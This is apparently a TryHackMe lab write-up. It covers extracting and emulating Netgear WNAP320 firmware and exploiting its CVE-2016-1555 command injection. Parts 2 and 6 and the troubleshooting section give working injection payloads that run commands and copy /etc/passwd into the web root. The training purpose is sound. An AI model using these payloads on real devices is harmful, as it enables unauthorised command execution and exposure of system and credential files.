7 min read

TryHackMe - Intro to IoT Pentesting Writeup

TryHackMe - Intro to IoT Pentesting Writeup

Room Overview

For this room, my goal was to get everything working locally on my own machine, so a lot of what follows is about setting up the local environment. If you just want to complete the room using the box that TryHackMe provides, you can skip some of these steps — Part 3, for instance, is entirely about the local setup.

Environment

  • System: WSL2 Kali Linux
  • Target: Netgear WNAP320 v2.0.3 firmware
  • Vulnerability: CVE-2016-1555 - command injection

Part 1: Downloading and Extracting the Firmware

1.1 Download the firmware

mkdir ~/netgear-firmware && cd ~/netgear-firmware
wget https://www.downloads.netgear.com/files/GDC/WNAP320/WNAP320%20Firmware%20Version%202.0.3.zip

1.2 Unpack the firmware

# First layer: unzip
unzip 'WNAP320 Firmware Version 2.0.3.zip'

# Second layer: TAR extraction
tar -xvf WNAP320_V2.0.3_firmware.tar

# Look at the extracted files
ls -la
# Output: rootfs.squashfs, vmlinux.gz.uImage, kernel.md5, root_fs.md5

1.3 Extract the SquashFS filesystem

Attempt 1: using binwalk (failed)

binwalk -e rootfs.squashfs
cd _rootfs.squashfs.extracted/squashfs-root
ls -la

Problem: the directory is empty!

total 8
drwxr-xr-x 2 user user 4096 Oct 24 17:55 .
drwxr-xr-x 3 user user 4096 Oct 24 17:55 ..

Cause: binwalk is missing the sasquatch tool needed to handle the older SquashFS v3.1 format.

Solution: install sasquatch

# Go back up a directory
cd ~/netgear-firmware

# Install sasquatch
sudo apt install sasquatch -y

# Clean up the old extraction directory
rm -rf _rootfs.squashfs.extracted

# Extract again
binwalk -e rootfs.squashfs

Successful output:

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Squashfs filesystem, big endian, lzma signature,
                              version 3.1, size: 4433988 bytes, 1247 inodes

Verify the extraction:

cd _rootfs.squashfs.extracted/squashfs-root
ls -la

You should now see a complete Linux filesystem:

drwxr-xr-x 13 user user 4096 Jun 23  2011 .
drwxr-xr-x  4 user user 4096 Oct 24 17:59 ..
drwxr-xr-x  2 user user 4096 Jun 23  2011 bin
drwxr-xr-x  2 user user 4096 Jun 23  2011 dev
drwxr-xr-x  9 user user 4096 Jun 23  2011 etc
drwxr-xr-x  4 user user 4096 Jun 23  2011 home
drwxr-xr-x  3 user user 4096 Jun 23  2011 lib
lrwxrwxrwx  1 user user   11 Jun 23  2011 linuxrc -> bin/busybox
drwxr-xr-x  2 user user 4096 Jun 23  2011 proc
drwx------  2 user user 4096 Jun 23  2011 root
drwxr-xr-x  2 user user 4096 Jun 23  2011 sbin
drwxrwxrwx  2 user user 4096 Jun 23  2011 tmp
drwxr-xr-x  6 user user 4096 Jun 23  2011 usr
drwxr-xr-x  4 user user 4096 Jun 23  2011 var

Part 2: Vulnerability Analysis

2.1 Look at the vulnerable code

cat home/www/boardDataWW.php

The key line (line 9):

exec("wr_mfg_data -m ".$_REQUEST['macAddress']." -c ".$_REQUEST['reginfo'],$dummy,$res);

Analysis:

  1. Dangerous function: exec() runs system commands directly.
  2. Input concatenation: $_REQUEST['macAddress'] is spliced straight into the command.
  3. Flawed regex validation:
ereg("[0-9a-fA-F]{12,12}",$_REQUEST['macAddress'],$regs)
  • No ^ or $ anchors.
  • The string only needs to contain 12 hex characters to pass.
  • You're free to append anything before or after it.

Bypass examples:

112233445566; whoami          ✅ passes validation
; cat /etc/passwd; 112233445566  ✅ passes validation
112233445566 && ls -la        ✅ passes validation

Part 3: Environment Setup

3.1 Install the required packages

sudo apt update
sudo apt install -y git qemu-system-arm qemu-system-mips qemu-system-x86 \
                    qemu-utils busybox-static python3 python3-pip binwalk \
                    squashfs-tools sasquatch socat

3.2 Install Firmadyne

cd ~
git clone --recursive https://github.com/firmadyne/firmadyne.git
cd firmadyne

# Download the kernels and binaries
sudo ./download.sh

What gets downloaded:

  • MIPS kernels (vmlinux.mipseb, vmlinux.mipsel)
  • ARM kernel (zImage.armel)
  • console binaries
  • libnvram libraries

3.3 Configure Firmadyne

Problem 1: Python version issue

# Error: env: 'python': No such file or directory
# Fix:
sudo ln -s /usr/bin/python3 /usr/bin/python

Problem 2: missing variable in the config file

# Edit the config file
sudo sed -i 's|#FIRMWARE_DIR=/home/vagrant/firmadyne/|FIRMWARE_DIR=/firmadyne/firmadyne|' \
    /firmadyne/firmadyne/firmadyne.config

Problem 3: compile console and libnvram

# Compile console
cd ~/firmadyne/sources/console
sudo make

# Compile libnvram
cd ~/firmadyne/sources/libnvram
sudo make

3.4 Install FAT (Firmware Analysis Toolkit)

cd ~
git clone https://github.com/attify/firmware-analysis-toolkit.git
cd firmware-analysis-toolkit

# Edit the config
nano fat.config

What to set:

[DEFAULT]
firmadyne_path=/firmadyne/firmadyne

Part 4: Firmware Emulation

4.1 Clean up and prepare the firmware

cd ~/firmware-analysis-toolkit

# Copy in the firmware
sudo cp ~/netgear-firmware/rootfs.squashfs .

# Clear out old images (important!)
sudo python3 reset.py

4.2 Launch FAT

sudo python3 fat.py rootfs.squashfs

Output:

                               __           _
                              / _|         | |
                             | |_    __ _  | |_
                             |  _|  / _` | | __|
                             | |   | (_| | | |_
                             |_|    \__,_|  \__|
                Welcome to the Firmware Analysis Toolkit - v0.3
    Offensive IoT Exploitation Training http://bit.do/offensiveiotexploitation
                  By Attify - https://attify.com  | @attifyme

[+] Firmware: rootfs.squashfs
[+] Extracting the firmware...
[+] Image ID: 1
[+] Identifying architecture...
[+] Architecture: mipseb
[+] Building QEMU disk image...
[+] Setting up the network connection, please standby...
[+] Network interfaces: [('brtrunk', '192.168.0.100')]
[+] All set! Press ENTER to run the firmware...
[+] When running, press Ctrl + A X to terminate qemu

Note the IP address: 192.168.0.100

4.3 Boot the firmware

Press ENTER and wait for the system to boot.

Signs of success:

System initialization is .. [DONE...]
Welcome to SDK.
Have a lot of fun...
netgear123456 login:
[   26.768000] brtrunk: port 1(eth0) entering forwarding state
[   31.904000] eth0: no IPv6 routers present
[   32.064000] brtrunk: no IPv6 routers present

⚠️ Heads up: you may see NAND error messages:

[  481.088000] nand_do_write_ops: Attempt to write not page aligned data

This is normal and doesn't affect the command injection exploit!

⚠️ Important: keep this terminal running — don't close it!

Part 5: Setting Up Network Access (WSL)

5.1 Open a new terminal

Press Ctrl + Shift + T or open a new terminal window.

5.2 Set up port forwarding

# Install socat (if not already installed)
sudo apt install socat -y

# Set up forwarding (run in the background)
sudo socat TCP-LISTEN:8081,fork,reuseaddr TCP:192.168.0.100:80

5.3 Find the WSL IP

hostname -I

Or:

ip addr show eth0 | grep -oP '(?<=inet\s)\d+(\.\d+){3}'

Example output:

172.21.26.76

5.4 Test the connection

# Test from inside WSL
curl http://192.168.0.100

# You should see HTML output

Example of a successful response:

<FRAMESET rows="70px,*,28px">
<FRAME name="header" scrolling="no" NORESIZE frameborder="0" src="login_header.php">
...

Part 6: Exploitation

6.1 Browse from Windows

Open your browser and go to:

http://172.21.26.76:8081/

Login credentials:

  • Username: admin
  • Password: password

6.2 Visit the vulnerable page

http://172.21.26.76:8081/boardDataWW.php

You'll see a form with:

  • A MAC Address input field
  • A Region option (Worldwide)
  • A Submit button

6.3 Set up Burp Suite

  1. Open Burp Suite
  2. Configure the browser proxy:
    • Proxy: 127.0.0.1
    • Port: 8080
  3. Turn on interception in Burp:
    • ProxyIntercept is on

6.4 Intercept the request

Enter any MAC address into the form:

MAC Address: 112233445566

Click Submit, and Burp will intercept the request:

POST /boardDataWW.php HTTP/1.1
Host: 172.21.26.76:8081
Content-Length: 50
Content-Type: application/x-www-form-urlencoded

macAddress=112233445566&reginfo=0&writeData=Submit

Send it to Repeater:

  • Right-click the request
  • Choose Send to Repeater
  • Or press Ctrl + R

6.5 Confirming and Exploiting the Vulnerability

Payload 1: Time-delay test (confirm the vulnerability)

Modify the request in Repeater:

macAddress=112233445566; sleep 5&reginfo=0&writeData=Submit

Click Send and watch the response time.

Result:

  • ✅ A clear 5-second delay → vulnerability confirmed!

Payload 2: Write a test file

macAddress=112233445566; echo PWNED > /home/www/test.txt&reginfo=0&writeData=Submit

Click Send, then visit in your browser:

http://172.21.26.76:8081/test.txt

Successfully shows:

PWNED

Payload 3: Read /etc/passwd

macAddress=112233445566; more /etc/passwd > /home/www/passwd.txt&reginfo=0&writeData=Submit

Visit: http://172.21.26.76:8081/passwd.txt

Successful output:

root:x:0:0:root:/root:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:100:sync:/bin:/bin/sync
mail:x:8:8:mail:/var/spool/mail:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
operator:x:37:37:Operator:/var:/bin/sh
haldaemon:x:68:68:hald:/:/bin/sh
dbus:x:81:81:dbus:/var/run/dbus:/bin/sh
nobody:x:99:99:nobody:/home:/bin/sh
sshd:x:103:99:Operator:/var:/bin/sh
admin:x:0:0:Default non-root user:/home/cli/menu:/usr/sbin/cli

🎉 Attack successful!

Troubleshooting

Problem 1: the squashfs-root directory is empty

Cause: binwalk is missing the sasquatch tool.

Fix:

sudo apt install sasquatch -y
rm -rf _rootfs.squashfs.extracted
binwalk -e rootfs.squashfs

Problem 2: python: command not found

Cause: Firmadyne's scripts need the python command.

Fix:

sudo ln -s /usr/bin/python3 /usr/bin/python
python --version  # verify

Problem 3: FIRMWARE_DIR: unbound variable

Cause: the Firmadyne config file isn't set.

Fix:

sudo sed -i 's|#FIRMWARE_DIR=/home/vagrant/firmadyne/|FIRMWARE_DIR=/firmadyne/firmadyne|' \
    /firmadyne/firmadyne/firmadyne.config

Problem 4: QEMU can't load the kernel

Cause: the kernel file wasn't downloaded or is corrupted.

Fix:

cd ~/firmadyne
sudo ./download.sh  # re-download the binaries
ls -la binaries/    # confirm the files exist

Problem 5: FAT says "Too many stale images"

Cause: old images are still hanging around.

Fix:

cd ~/firmware-analysis-toolkit
sudo python3 reset.py
# Or delete them manually
sudo rm -rf /firmadyne/firmadyne/scratch/*
sudo rm -rf /firmadyne/firmadyne/images/*

Problem 6: Windows can't reach the WSL service

Cause: port forwarding isn't set up correctly.

Fix:

# Confirm socat is running
ps aux | grep socat

# If it isn't, set it up again
sudo killall socat
sudo socat TCP-LISTEN:8081,fork,reuseaddr TCP:192.168.0.100:80 &

# Verify the forwarding
netstat -tuln | grep 8081

Problem 7: the command runs but can't read the file

Cause: some commands may not exist, or there's a permissions issue.

Fix: try different commands

# If cat doesn't work, try more
macAddress=112233445566; more /etc/passwd > /home/www/passwd.txt&reginfo=0&writeData=Submit

# If redirection doesn't work, try cp
macAddress=112233445566; cp /etc/passwd /home/www/passwd.txt&reginfo=0&writeData=Submit

# Use the full path
macAddress=112233445566; /bin/cat /etc/passwd > /home/www/passwd.txt&reginfo=0&writeData=Submit

Problem 8: NAND error messages

[  481.088000] nand_do_write_ops: Attempt to write not page aligned data

Explanation: this is normal! The original wr_mfg_data command tries to write to hardware, which fails inside the QEMU emulation environment.

Important: this does not affect the commands we inject! You can safely ignore it.